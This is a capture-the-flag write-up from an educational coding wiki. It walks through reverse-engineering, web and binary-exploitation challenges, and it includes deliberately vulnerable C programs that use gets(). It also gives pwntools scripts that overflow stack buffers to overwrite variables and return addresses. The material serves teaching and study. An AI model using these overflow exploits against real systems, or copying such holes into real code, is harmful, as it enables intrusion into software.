W4505 Capture the Flag V

From Coder Merlin

This page will serve as a writeup for the CTF V competition problems.

Reverse Engineering[edit]


[100 Points] Wth do push and pop mean??? Could you help me out and tell me what the stack will look like (from bottom to top) after this runs.
Hint: The flag is the elements on the stack from bottom to top, wrapped in ahsCTF{}

The challenge also provides the file stacktastic.asm.

When opening stacktastic.asm in a text editor, we see the following assembly code:

 1 section	.text
 2 	global _start
 3 _start:
 4 	push s
 5 	pop ecx
 6 	push s
 7 	push t
 8 	push h
 9 	push i
10 	pop ecx
11 	pop ecx
12 	push a
13 	push a
14 	pop ecx
15 	push c
16 	push k
17 	pop ecx
18 	push u
19 	pop ecx
20 	push k
21 	push s
22 	push _
23 	push _
24 	pop ecx
25 	push r
26 	push r
27 	pop ecx
28 	push _
29 	push c
30 	push o
31 	push o
32 	push _
33 	pop ecx
34 	pop ecx
35 	push o
36 	push l
38 	;;; printing stack
39 	; code used to print stack has been redacted
41 	;;; exit program
42 	mov	eax, 1
43 	int	0x80
45 ;;; constants
46 section .data
47 a db 'a'
48 b db 'b'
49 c db 'c'
50 d db 'd'
51 e db 'e'
52 f db 'f'
53 g db 'g'
54 h db 'h'
55 i db 'i'
56 j db 'j'
57 k db 'k'
58 l db 'l'
59 m db 'm'
60 n db 'n'
61 o db 'o'
62 p db 'p'
63 q db 'q'
64 r db 'r'
65 s db 's'
66 t db 't'
67 u db 'u'
68 v db 'v'
69 w db 'w'
70 x db 'x'
71 y db 'y'
72 z db 'z'
73 _ db '_'

Prerequisate: https://en.wikipedia.org/wiki/Stack_(abstract_data_type)

This code seems to define some constants that represent letters of the alphabet. These constants are later pushed on and popped off the stack using the push and pop instructions. The ecx after the pop instructions refers to the ecx register of where to store popped data. We can manually figure out what the stack will look like after this code runs by typing whatever characters are pushed in a text file, and clicking backspace upon a pop. We get "stacks_r_cool". We can wrap this in the flag wrapper to get ahsCTF{stacks_r_cool}.

Decompile Trial[edit]

[125 Points] I stole this file off the server, but need to figure out how it works!!! Can you figure out the correct input and get me the flag?

The challenge also provides the executable file decompileTrial.

Let's import this file into Ghidra in order to see the source code. Here's what Ghidra decompiled from the main() function:

 1 void main(void)
 3 {
 4   long lVar1;
 5   uint uVar2;
 6   long in_FS_OFFSET;
 7   uint input;
 8   int i;
 9   uint encodedFlag [38];
11   lVar1 = *(long *)(in_FS_OFFSET + 0x28);
12   encodedFlag[0] = 0x62;
13   encodedFlag[1] = 0x69;
14   encodedFlag[2] = 0x74;
15   encodedFlag[3] = 0x44;
16   encodedFlag[4] = 0x55;
17   encodedFlag[5] = 0x47;
18   encodedFlag[6] = 0x7c;
19   encodedFlag[7] = 0x65;
20   encodedFlag[8] = 0x31;
21   encodedFlag[9] = 0x6f;
22   encodedFlag[10] = 0x55;
23   encodedFlag[11] = 0x60;
24   encodedFlag[12] = 0x67;
25   encodedFlag[13] = 0x34;
26   encodedFlag[14] = 0x41;
27   encodedFlag[15] = 0x73;
28   encodedFlag[16] = 0x60;
29   encodedFlag[17] = 0x75;
30   encodedFlag[18] = 0x69;
31   encodedFlag[19] = 0x34;
32   encodedFlag[20] = 0x60;
33   encodedFlag[21] = 0x53;
34   encodedFlag[22] = 0x66;
35   encodedFlag[23] = 0x77;
36   encodedFlag[24] = 0x34;
37   encodedFlag[25] = 0x73;
38   encodedFlag[26] = 0x25;
39   encodedFlag[27] = 0x66;
40   encodedFlag[28] = 0x60;
41   encodedFlag[29] = 0x66;
42   encodedFlag[30] = 0x4f;
43   encodedFlag[31] = 0x68;
44   encodedFlag[32] = 0x6a;
45   encodedFlag[33] = 0x6f;
46   encodedFlag[34] = 0x34;
47   encodedFlag[35] = 0x34;
48   encodedFlag[36] = 0x73;
49   encodedFlag[37] = 0x7e;
50   i = 0;
51   while (i < 0x26) {
52     puts("Enter your input! Correct input will be one character of the flag in hex!");
53     __isoc99_scanf(&DAT_00102052,&input);
54     uVar2 = f(input);
55     if (uVar2 == encodedFlag[i]) {
56       puts("Correct character!");
57     }
58     else {
59       puts("Incorrect character.");
60     }
61     i = i + 1;
62   }
63   if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
64                     /* WARNING: Subroutine does not return */
65     __stack_chk_fail();
66   }
67   return;
68 }

The code seems to create an array called encodedFlag and assign values to its indexes. The program then scans user input, runs it through a function called f(), and compares it to the current index of the array. If the values are equal, the program tells us our input is the hex representation of a character in the flag. The program will use a loop to repeat this process for every element in encodedFlag. It seems that we will input one character of the flag at a time (in hex), and the program will tell us if out character was correct. Instead of manually trying every character, we can decode the encodedFlag array. To do this, let's look at how f() encoded our input. Here is the decompiled code for f():

1 uint f(uint num)
3 {
4   return num + 1;
5 }

The f() function seems to add 0x1 to whatever character we input. That means that the values in encodedFlag will be 0x1 higher than the actual hex values of the flag. We can subtract 0x1 from every element in encodedFlag to get the actual character of the flag. After doing that, the characters of the flag in hex seem to be:


We can covert these hex values to their ASCII representation using online tools. We get ahsCTF{d0nT_f3@r_th3_Rev3r$e_eNgin33r}.

Web Exploitation[edit]


[125 Points] Help me figure out the password. You might want to learn to crack hashes.

We can navigate to this website to access the web challenge. The challenge asks us to enter a password. Our goal is to find the correct password. Let's look at the provided source code to get an idea of how we can do this.

 1   include "flag.php";
 3   if ($_POST["password"]) {
 5     $password = $_POST["password"];
 6     if (md5($password) == "c13d23675b7a621212c3a6bb07e0e8df") {
 7       echo ('<h1><div class="alert alert-success centered" role="alert"> Flag: ' . $flag . ' </div></h1>');
 8     } else {
 9       echo ('<h1><div class="alert alert-danger centered" role="alert">Sorry, Wrong password!</div></h1>');
10     }
11     die;
12   }

This code reveals that the md5 hash of the correct password is "c13d23675b7a621212c3a6bb07e0e8df". An md5 hash is a one-way function to encode a value and is largely irreversible. However, there are online md5 dictionaries that store strings and their hashes. We can use one of these dictionaries to find out what string produced this hash. We get the string "hackerman". When we input this into the website's password field we get the flag ahsCTF{p@ssw0rd_cr@ck3r}.


[150 Points] Lets see how lucky you are. Guess the right number to get the flag!

We can navigate to the given website to access this web challenge. The website askes us to enter a number into a field. Let's take a look at the source code the website provides to get an idea of how this website works:

 1   require 'flag.php';
 3   $usersnum = $_GET['number'];
 4   if (isset($usersnum)) {
 5     if (is_numeric($usersnum)) {
 6       if (strlen($usersnum) > 6) {
 7         if ($usersnum < 999999 && $usersnum > 999998)
 9           echo ('<h1><div class="alert alert-success centered" role="alert"> Flag: ' . $flag . ' </div></h1>');
10         else
11           echo ('<h1><div class="alert alert-danger centered" role="alert">Too Long!</div></h1>');
12       } else
13         echo ('<h1><div class="alert alert-danger centered" role="alert">Too Short!</div></h1>');
14     } else
15       echo ('<h1><div class="alert alert-danger centered" role="alert">Please enter a valid number.</div></h1>');
16     die;
17   }

It appears we need to enter a number more than 6 characters long, less than 999999, and greater than 999998. At first, this may seem impossible. However, this problem has a simple solution, use decimals. We can enter a number such as 999998.5 to satisfy these constraints and print the flag. Upon entering this number, the website tells us the flag is flag{m@aster_guess3r}.

Binary Exploitation[edit]


[50 Points] Overflow this buffer located at at port 64501.

The challenge also provides the file flood.c and the executable file flood.

Let's take a look at flood.c by opening it in a text editor:

 1 #include <stdio.h>
 2 #include <stdlib.h>
 4 void vuln() {
 5     int secret = 0x00000000;
 6     char buffer[12];
 8     printf("Input text into buffer: ");
 9     gets(buffer); // This may be a vulnerability...
11     if(secret != 0x00000000) {
12         printf("You found the flag!\n");
13         system("cat flag.txt");
14     } else {
15         printf("It looks like you didn't overflow the buffer, try again.\n");
16     }
18     exit(0);
19 }
21 int main() {
22     setvbuf(stdout, NULL, _IONBF, 0);
23     vuln();
24 }

The code seems to create an array of characters that has a size of 12. It then uses the gets() function to put user input into this array. The gets() function is dangerous because it doesn't check the size of the array and will overflow into other memory locations. We want to overflow the buffer array and change the value of the "secret" integer variable in order to concatenate the flag. This is possible because the secret integer will be pushed to the stack before the buffer, and as such will be located after the buffer's address. We can overwrite the secret integer by simply inputting more than 12 characters (the size of the buffer). Let's run this program on the remote server using netcat (remember that the flag is stored only on the server so running the executable locally won't produce the flag):

john-williams@codermerlin:~$  nc 64501
Input text into buffer: aaaaaaaaaaaaa
You found the flag!

Notice that we inputted 13 'a's and as such changed the value of the secret integer. The program told us our flag is ahsCTF{y0u_Br0k3_my_bUff3r_:(}.

Stack Attack[edit]

[125 Points] Try to overwrite the local variable this time. Make sure you understand the stack frame layout. Consider using the sample script to solve this challenge. The server is located at at port 64502.

This challenge also provides the files sampleScript.py, stackAttack.c, and the executable stackAttack.

Let's start by examining stackAttack.c:

 1 #include <stdio.h>
 2 #include <stdlib.h>
 4 void vuln() {
 5     int secret = 0x00000000;
 6     char buffer[12];
 8     printf("Input text into buffer: ");
 9     gets(buffer); // This may be a vulnerability...
11     if(secret == 0x00dec0de) {
12         printf("You found the flag!\n");
13         system("cat flag.txt");
14     } else {
15         printf("It looks like you didn't overwrite the secret variable or overwrote using the wrong data.\n");
16     }
18     exit(0);
19 }
21 int main() {
22     setvbuf(stdout, NULL, _IONBF, 0);
23     vuln();
24 }

This code seems very similar to the Floooooooood, except this time we have to overwrite the secret variable with a specific number (0x00dec0de). Since this code is similar to the last challenge we know that once we input 13 characters we will begin overwriting the secret integer. However, we can verify this with gdb. Let's modify the sample script given to us in order to fill the buffer and set the secret integer equal to 0x00dec0de:

 1 from pwn import *
 3 process = remote('', 64502)
 4 context.update(arch='amd64', os='linux')
 6 process.recvuntil(': ')
 8 payload = asm(shellcraft.nop()) * 12
 9 payload += p32(0x00dec0de)
11 process.sendline(payload)
13 process.interactive()

This script will establish a remote connection with the program on the server and input 12 0x90s to fill the buffer followed by 0x00dec0de formatted to fit a 32bit integer. We can run this script using:

john-williams@codermerlin:~$  python3 sampleScript.py

The remote program prints out ahsCTF{attt@ckiNg_sT@ck$_iS_whAck}.

RIP RIP[edit]

[200 Points] Instead of overwriting a variable this time, we’re overwriting the return address… twice. Make sure you understand the layout of a stack frame. You can modify the sample script from “Stack Attack” to solve this challenge. The server is located at on port 64503.

The challenge also provides the file riprip.c and the executable file riprip.

Let's examine riprip.c:

 1 #include <stdio.h>
 2 #include <stdlib.h>
 3 #include <stdbool.h>
 5 bool check = false;
 7 void win() {
 8   if(check == true) {
 9     printf("You win!!!!!!!!!!!!!!\n");
10     system("cat flag.txt");
11   } else {
12     printf("You didn't set the check variable.");
13   }
15   exit(0);
16 }
18 void setCheck() {
19   check = true;
20   printf("setCheck() is jumping to this return address: %p\n", __builtin_return_address(0));
21 }
23 void vuln() {
24   char buffer[16];
25   printf("The win() function is located at: %p\n", win);
26   printf("The setCheck() function is located at: %p\n", setCheck);
27   printf("Input something: ");
28   gets(buffer);
29   printf("vuln() is jumping to this return address: %p\n", __builtin_return_address(0));
30 }
32 void main() {
33   setvbuf(stdout, NULL, _IONBF, 0);
35   vuln();
36 }

This program seems to call a function called vuln() which uses the exploitable gets() function. This will allow us to overwrite the return address in the vuln() stack frame with the address of setCheck(). Then, we can set setCheck()'s return address to the location of the win() function. We can't directly return to the win() function because then the check variable wouldn't be true and win() wouldn't print the flag. In order to develop an exploit for this, we must get the addresses of the setCheck() and win() functions, as well as find out where the return addresses are stored on the stack. We can use GDB to do this:

john-williams@codermerlin:~$  gdb riprip
(gdb)  start
(gdb)  br vuln

This will start debugging the riprip executable and create a breakpoint (stopping point) at the beginning of the vuln() function.

(gdb)  info frame
Stack level 0, frame at 0x7fffffffe010:
 rip = 0x4011e0 in vuln; saved rip = 0x40127d
 called by frame at 0x7fffffffe020
 Arglist at 0x7fffffffe000, args: 
 Locals at 0x7fffffffe000, Previous frame's sp is 0x7fffffffe010
 Saved registers:
  rbp at 0x7fffffffe000, rip at 0x7fffffffe008

This told us that the return address (rip) is 0x8 bytes after the local variables, which in this case is the buffer that we will overflow.

(gdb)  info address setCheck
Symbol "setCheck" is at 0x4011b6 in a file compiled without debugging.
(gdb)  info address win
Symbol "win" is at 0x401172 in a file compiled without debugging.

These lines told us the locations of the setCheck() and win() functions. Now we can develop and exploit by modifying the sample script from the previous challenge:

 1 from pwn import *
 3 context.update(arch='amd64', os='linux')
 4 ps = remote('', 64503)
 6 print(ps.recvuntil('something: '))
 8 payload = asm(shellcraft.nop())*(16+8)
 9 payload += p64(0x00000000004011b6)
10 payload += p64(0x0000000000401172)
12 ps.sendline(payload)
14 ps.interactive()

After connecting to the remote program, this script will fill the buffer (16 bytes) and fill the empty space between the return address and the buffer (8 bytes). Then we will overwrite the return address to point to the setCheck() function and format it for a 64bit little-endian system using the p64() function. Finally, we append the address of the win() function. Running this script will cause the remore program to print ahsCTF{RIP_st@cK_2021-2021}.

Pointer Mutilation[edit]

[250 Points] Have fun!

The challenge also provides the file mutilate.c and the executable file mutilate.

Let's take a look at mutilate.c:

 1 #include <stdio.h>
 2 #include <stdlib.h>
 4 void win() {
 5   printf("You win!!!!!!!!!!!!!!\n");
 6   system("cat flag.txt");
 7 }
 9 void vuln() {
10   char buffer[16];
11   printf("You may want to get the address of the RIP (return address) location and win() location\n");
12   printf("Input something: ");
13   gets(buffer);
14   printf("Jumping to this return address: %p\n", __builtin_return_address(0));
15 }
17 void main() {
18   setvbuf(stdout, NULL, _IONBF, 0);
20   vuln();
21 }

This challenge seems to require us to overflow the buffer and overwrite the return address in order to point to the win() function. However, this challenge doesn't print out the win() function's address. Let's run the checksec command included with Pwntools in order to analyze the security features this executable has:

john-williams@codermerlin:~$  checksec mutilate
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

Notice that the checksec command informs us that PIE is disabled. PIE (Position Independent Executables) are executable files that can run from various locations in memory. With PIE disabled, we can guarantee this executable will run at the same location every time. That means that any addresses we find on the executable given to use will match those on the server. That being said, let's locate the address of the win() function using GDB:

(gdb)  info address win

GDB tells us the win address is located at 0x0000000000401162. We can also use GDB's "info frame" command from within the stack frame for vuln() to see that the return address is 8 bytes after the buffer. With that in mind, let's create an exploit script:

 1 from pwn import *
 3 context.update(arch='amd64', os='linux')
 4 ps = remote('', 64504)
 6 ps.recvuntil(': ')
 8 payload = asm(shellcraft.nop())*(16+8)
 9 payload += p64(0x0000000000401162)
11 ps.sendline(payload)
13 ps.interactive()

This script will connect to the remote program and fill the buffer and space between the return address, followed by the address of the win() function. Running this script outputs ahsCTF{r3turn_0f_th3_jed!}.

Designed with pride in Silicon Valley, CA, USA